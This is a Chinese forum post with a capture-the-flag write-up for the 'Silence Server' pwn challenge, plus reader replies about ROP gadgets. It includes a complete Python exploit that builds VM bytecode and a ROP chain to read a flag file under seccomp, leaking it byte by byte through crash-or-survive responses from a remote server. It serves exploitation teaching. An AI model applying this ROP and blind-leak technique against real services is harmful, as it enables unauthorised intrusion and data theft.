首页
社区
课程
招聘
[原创]CTF2017 第九题 Silence Server 解题报告
发表于: 2017-6-19 00:42 6815

[原创]CTF2017 第九题 Silence Server 解题报告

2017-6-19 00:42
6815

这题又是一个 pwn,促使我觉得自身的水平实在不够(第四题就用完了),就去学习各路 dalao 的 writeup,附赠一篇

体会到几个工具的便利

学到几个 pwn 关键词

在做这题的过程中踩了无数坑,我会在 writeup 中提到部分坑点(毕竟踩完坑才能写出这篇)

这题"可谓集大成也",我会分 反汇编、pwn 两大部分阐明

主函数流程比较简单,就不贴代码了

该部分代码很长也比较晦涩,感觉要纯靠经验和耐心看完,所以我只附上虚拟机的指令解释。

这个虚拟机是基于堆栈的虚拟机,函数内有个 1000 字节的堆栈数组变量,我就命名为 buf 吧(其实命名 stack 更合理),本文之后出现的 buf 没特殊说明外均指该数组,命名 栈顶指针 为 bufp,定义 次顶层堆栈 为 栈次(bufp-1)

有几个坑点要注意

我们有在 执行虚拟机 函数内随意而又精准得操控 buf 变量之后堆栈的能力,能在这个函数末尾构建 ROP

看到 dalao 们一开始都会做这个,学习一下 ./checksec.sh --file Silence_Server

seccomp 是个能在程序中开启的沙盒,能根据规则限制自身以及子进程的 syscall 访问,先贴个代码看程序准我们干什么

记录坑点,之前我还不知道 seccomp 沙盒机制的时候,看到放行了 execve,就自认为能调用system("/bin/sh")了,然后洋洋洒洒的写了一大板 ROP 准备测试。什么!!错误的系统调用,看来被 seccomp 限制住了,然后尝试 execve("/bin/sh",0,0) 也是一样,最后自己写个简易的测试代码,在这个规则下,连空程序都无法启动,血的教训,一定要先写测试代码

我反复思考了规则内能使用的 syscall,都没有想出任何用法,没有 mprotect,不能把堆栈变为可执行,brk 也只能更改 映射的下限,其他的都是文件操作了,难道就没有路走了么?

程序题干里,与第四题不同的是详细的说明了 flag 的路径/home/pwn/flag,提示了我这题应该要用 open 直接 read 内容

突然脑袋里闪过这一题的标题 Silence Server,silence 是沉默的意思,我想到了一个就算不输出,不说话也能够交流的办法。我可以问程序:第一位是 a 么?不是的话程序退出了,是的话程序正常进行。这样考虑,就算不用说话只要它能听懂就能够交流出结果

从构思看我们需要

从堆栈转移到参数寄存器的利用点,64 位 linux,调用约定前三个参数是 rdi、rsi、rdx,大家也可以用 ROPgadget 工具,我用的是 keypatch 生成字节码,用 winhex 搜索

在 libc.so +0x1726C0 有个 0-255 的表

因为服务器对传输敏感,send 间的延迟时间需要反复调整,记录坑点,调整这个时间也花了不少时间(没有经验),有时候还怀疑自己的 payload 有问题,但手动又没问题,本地也没问题,结果是在这个 sleep 上,代码里是经过多重考核的非常稳定的延迟时间。因为单字符测试等待的时间较久,设计成了参数模式用来多进程执行




图1

图1


图2

图2

图3
图3

图4
图4



图5


图5

图6
图6
import numpy as np
a = np.array([
    [30971, 31063, 18211, 23911, 20327, 20921, 20149, 17477],
    [20051, 20359, 16699, 31121, 20641, 23633, 29759, 25111],
    [25943, 27073, 25561, 23333, 26099, 17291, 27457, 30839],
    [29873, 18313, 29167, 25411, 32191, 18959, 19079, 16879],
    [16607, 29437, 19469, 32441, 28859, 20509, 23581, 26849],
    [16823, 19927, 26161, 18869, 19973, 26981, 17431, 26633],
    [26821, 19073, 28349, 30577, 25793, 22091, 31397, 26947],
    [25339, 17737, 30817, 26183, 29629, 22691, 27793, 19447]
])
b = np.array([14985352, 14962906, 16361024, 14982624, 16152948, 14720714, 16722910, 15883204])
r = np.linalg.solve(a,b)
print str(bytearray(np.rint(r).astype(np.uint8))).encode("hex")
void seccompinit()
{
  LODWORD(ctx) = seccomp_init(0LL);
  if ( !ctx )
  {
    LODWORD(v0) = 0;
    BUG();
  }
  ctx_ = ctx;
  seccomp_arch_add(ctx, 0xC000003ELL);          // SCMP_ARCH_X86_64
  allow_syscall(ctx_, 0);                       // sys_read
  allow_syscall(ctx_, 2u);                      // sys_open
  allow_syscall(ctx_, 3u);                      // sys_close
  allow_syscall(ctx_, 4u);                      // sys_newstat
  allow_syscall(ctx_, 5u);                      // sys_newfstat
  allow_syscall(ctx_, 6u);                      // sys_newlstat
  allow_syscall(ctx_, 7u);                      // sys_poll
  allow_syscall(ctx_, 8u);                      // sys_lseek
  allow_syscall(ctx_, 12u);                     // sys_brk
  allow_syscall(ctx_, 59u);                     // stub_execve
  seccomp_load(ctx_);
}
from Crypto.Cipher import DES
import struct
import time
import sys
def enc(s):
    key = "3378704c30723352".decode("hex")
    des = DES.new(key, mode=DES.MODE_CBC, IV=key)
    return des.encrypt(s)
def savebase(ori, diff, dst):
    r = chr(22) + struct.pack("<Q", diff)
    # ↑压入地址与基址的偏移,作为减法的减数
    r += chr(22) + struct.pack("<Q", ori)
    r += chr(20)
    # 从 buf[ori] 获取值压入被减数,一般获取的是 ASLR 当前地址
    r += chr(17)
    # 减完以后栈顶就成了想保存的 ASLR 当前基址了
    r += chr(22) + struct.pack("<Q", dst)
    r += chr(21)
    # 把基址存入 buf[dst] 的地方
    return r
def savelibc():
    # 调用堆栈中 __libc_start_main 返回地址在 buf[1013] 处
    # 相对 libc.so 地址为 0x21B35,拿到基址存在 buf[999]
    return savebase(1013, 0x21B35, 999)
def saveexe():
    # 调用堆栈中 虚拟机执行 返回地址在 buf[1009] 处
    # 相对 Silence_Server 地址为 0xa4c,拿到基址存在 buf[998]
    return savebase(1009, 0xa4c, 998)
def saversp():
    # buf[1015] 存了一个堆栈地址可以被利用
    # 存的地址相对于 __libc_start_main 返回地址为 28*8(可以用 gdb 在启动时看到)
    # 所以相对于 buf 的偏移就为 (1013 + 28)*8,拿到 buf地址 存在 buf[997]
    return savebase(1015, (1013 + 28)*8, 997)
def pushaddr(solt, diff, dst):
    r = chr(22) + struct.pack("<Q", diff)
    # ↑压入地址与基址的偏移,作为加法的加数
    r += chr(22) + struct.pack("<Q", solt)
    r += chr(20)
    # 从 buf[solt] 获取值压入另一加数,一般获取的是 ASLR 当前基址
    r += chr(16)
    # 加完以后栈顶就成了想使用的 ASLR 当前地址了
    r += chr(22) + struct.pack("<Q", dst)
    r += chr(21)
    # 把地址存入 buf[dst] 的地方
    return r
def pushlibc(diff, dst):
    # 取出 libc.so 偏移后地址到 buf[dst]
    return pushaddr(999, diff, dst)
def pushexe(diff, dst):
    # 取出 Silence_Server 偏移后地址到 buf[dst]
    return pushaddr(998, diff, dst)
def pushrsp(diff, dst):
    # 取出 buf 偏移后地址到 buf[dst],和上面不同的是 diff 是按 buf 索引传入的
    return pushaddr(997, diff*8, dst)
def pushim(im, dst):
    r = chr(22) + struct.pack("<Q", im)
    # ↑压入立即数到栈顶(只能是正数)
    r += chr(22) + struct.pack("<Q", dst)
    r += chr(21)
    # 将立即数保存到 buf[dst]
    return r
def setp0(dst):
    # gadget: pop rdi;ret 在 Silence_Server 偏移 0xfe3 的地方
    # 可以把下一个堆栈传入第一个参数
    return pushexe(0xfe3, dst)
def setp1(dst):
    # gadget: pop rsi;ret 在 libc.so 偏移 0x21747 的地方
    # 可以把下一个堆栈传入第二个参数
    return pushlibc(0x21747, dst)
def setp2(dst):
    # gadget: pop rdx;ret 在 libcs.so 偏移 0xba6c0 的地方
    # 可以把下一个堆栈传入第三个参数
    return pushlibc(0xba6c0, dst)
def makerop(idx, cc):
    # 返回地址在 buf[1009]
    pos = 1009
    # 保存所有基址
    rop = savelibc()
    rop += saveexe()
    rop += saversp()
    # 构建ROP
    rop += setp0(pos); pos += 1
    rop += pushrsp(1009 + 6, pos); pos += 1
    # ↑第一个参数传预打开的文件名地址,指向6个堆栈后,之后会压入文件名
    rop += setp1(pos); pos += 1
    rop += pushim(0, pos); pos += 1
    # 第二个参数传只读打开(0)
    rop += pushlibc(0xE8A09, pos); pos += 1
    # 调用 __open_nocancel,在 libc.so 偏移 0xE8A09
    rop += pushexe(0xFE0, pos); pos += 1
    # gadget: pop r14;pop r15;ret 清除后两个堆栈,在 Silence_Server 偏移 0xFE0
    #/home/pwn/flag 拆分成2部分 /home/pw n/flag\0\0
    rop += pushim(long("/home/pw"[::-1].encode("hex"), 16), pos); pos += 1
    rop += pushim(long("n/flag\0\0"[::-1].encode("hex"), 16), pos); pos += 1
    rop += setp0(pos); pos += 1
    rop += pushim(3, pos); pos += 1
    # 第一个参数文件号,这个程序之前没文件打开一般都是 3
    rop += setp1(pos); pos += 1
    rop += pushexe(0x207800, pos); pos += 1
    # 第二个参数读出缓存,我选了 Silence_Server 偏移 0x207800 的地方
    # 这个地方属于 data 段可写,因为是对齐部分,程序自身不可能用到
    rop += setp2(pos); pos += 1
    rop += pushim(64, pos); pos += 1
    # 第三个参数读取字节数,64字节就够了
    rop += pushlibc(0xE8BF9, pos); pos += 1
    # 调用 __read_nocancel,在 libc.so 偏移 0xE8BF9
    rop += setp0(pos); pos += 1
    rop += pushexe(0x207800 + idx, pos); pos += 1
    # 第一个参数待比较地址1,我传入的是读入内容的 idx 偏移,也就现在测第几个字符了
    rop += setp1(pos); pos += 1
    rop += pushlibc(0x1726C0 + cc, pos); pos += 1
    # 第二个参数待比较地址2,在 libc.so 偏移 0x1726C0 的地方有个 0-255 的表可以利用
    rop += setp2(pos); pos += 1
    rop += pushim(1, pos); pos += 1
    # 第三个参数比较字节数,就比较一个字符
    rop += pushlibc(0x890C0, pos); pos += 1
    # 调用 __memcmp_sse2,在 libc.so 偏移 0x890C0
    rop += pushexe(0xBB4, pos); pos += 1
    # gadget: Silence_Server 偏移 0xBB4 的地方有个返回值 rax 判断
    # 可以利用成字符不相等程序发生写0崩溃
    rop += pushim(0, pos); pos += 1
    # 上面的函数返回前有个 rsp+8 的操作
    rop += pushexe(0xA36, pos); pos += 1
    # 如果字符相等,又返回 main 中调用 获取输入 的地方
    # 主要是为了使用里面的 read 函数
    rop += pushim(0, pos); pos += 1
    # 上面的函数需要 rsp+4 保存返回长度,其实这条没有也可以
    rop += chr(22) + struct.pack("<Q", 0)
    # 虚拟机执行完毕后必须栈不能空,要不崩溃
    rop += chr(31)
    # 虚拟机代码不能执行完必须中途退出,要不崩溃(这两个什么鬼)
    # 补充 nop 指令至8字节对齐,获取输入部分是 单位长度*8 的
    roplen = len(rop)
    for _ in xrange((roplen +7)/8*8 - roplen):
        rop += chr(29)
    return len(rop)/8, enc(rop)
def test(net, ss, ee):
    ret = ""
    import pwn
    for ii in xrange(ss, ee):
        ok = False
        for cc in xrange(0x7F, -1, -1): #小写字母多的话,从后面会快
            if cc != 0 and cc <= 0x20:
                # 跳过不可见
                continue
            roplen, rop = makerop(ii, cc)
            if net:
                p = pwn.remote("211.159.216.90", 51888)
            else:
                p = pwn.process("/root/Silence_Server")
            time.sleep(0.5)
            p.send(chr(roplen)) # 输入单位长度
            time.sleep(0.5)
            p.send("3378704c30723352".decode("hex")) # 输入 des 密码
            time.sleep(1)
            p.send(rop) # 发送 rop
            time.sleep(1)
            ok = True
            try:
                p.send(chr(1))
                time.sleep(1)
                p.send(chr(1)) # 一般要第二次发送才会触发网络异常
            except:
                ok = False
            if ok:
                if cc == 0:
                    # 比较到字符串末尾 0 结束
                    print "finish"
                    print ret
                    sys.exit(0)
                else:
                    # 打印该位置成功的字符
                    print ii, chr(cc)
                    ret += chr(cc)
                    break
        if not ok:
            # 如果一个字符都没比较成功肯定出问题了
            print "what?"
            sys.exit(0)
    print ret
test(True, int(sys.argv[1]), int(sys.argv[2]))

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (5)
雪    币: 112
活跃值: (27)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2017-6-19 12:28
0
雪    币: 13713
活跃值: (2851)
能力值: ( LV15,RANK:2663 )
在线值:
发帖
回帖
粉丝
3
学习了。libc中的push  rax;ret;  再配合上pop  rdi;ret;就可以将前返回用于下一个调用的第一个参数了。libc中还有pop  rdx;pop  rsi;ret。
2017-6-19 12:40
0
雪    币: 2575
活跃值: (502)
能力值: ( LV2,RANK:85 )
在线值:
发帖
回帖
粉丝
4
没想到pwn也是这么好玩,学习学习
2017-6-19 13:43
0
雪    币: 3502
活跃值: (1493)
能力值: ( LV15,RANK:1057 )
在线值:
发帖
回帖
粉丝
5
poyoten 学习了。libc中的push rax;ret; 再配合上pop rdi;ret;就可以将前返回用于下一个调用的第一个参数了。libc中还有pop rdx;pop rsi;ret。
push    rax;ret  这个我也是想了下,但没有搜,我想不会有这种奇怪的汇编吧,没想到真有
2017-6-20 09:49
0
雪    币: 4357
活跃值: (979)
能力值: ( LV8,RANK:142 )
在线值:
发帖
回帖
粉丝
6
最近才做此题,其中遇到了一个问题,希望大家帮帮我:
创建ROP时用到了__open_nocancel,在我的本地libc.so.6中,该函数内部调用了syscall sys_openat。为了清楚流程,先选择在本地调试进程, 发现每次运行到__open_nocancel("/home/pwn/flag", 0)时程序都会在调用syscall的地方退出,返回错误码31,如下面两个图所示。


因而无法得出正确结果。linux下不允许跟踪调试 syscall吗?
2018-7-2 16:03
0
游客
登录 | 注册 方可回帖
返回
//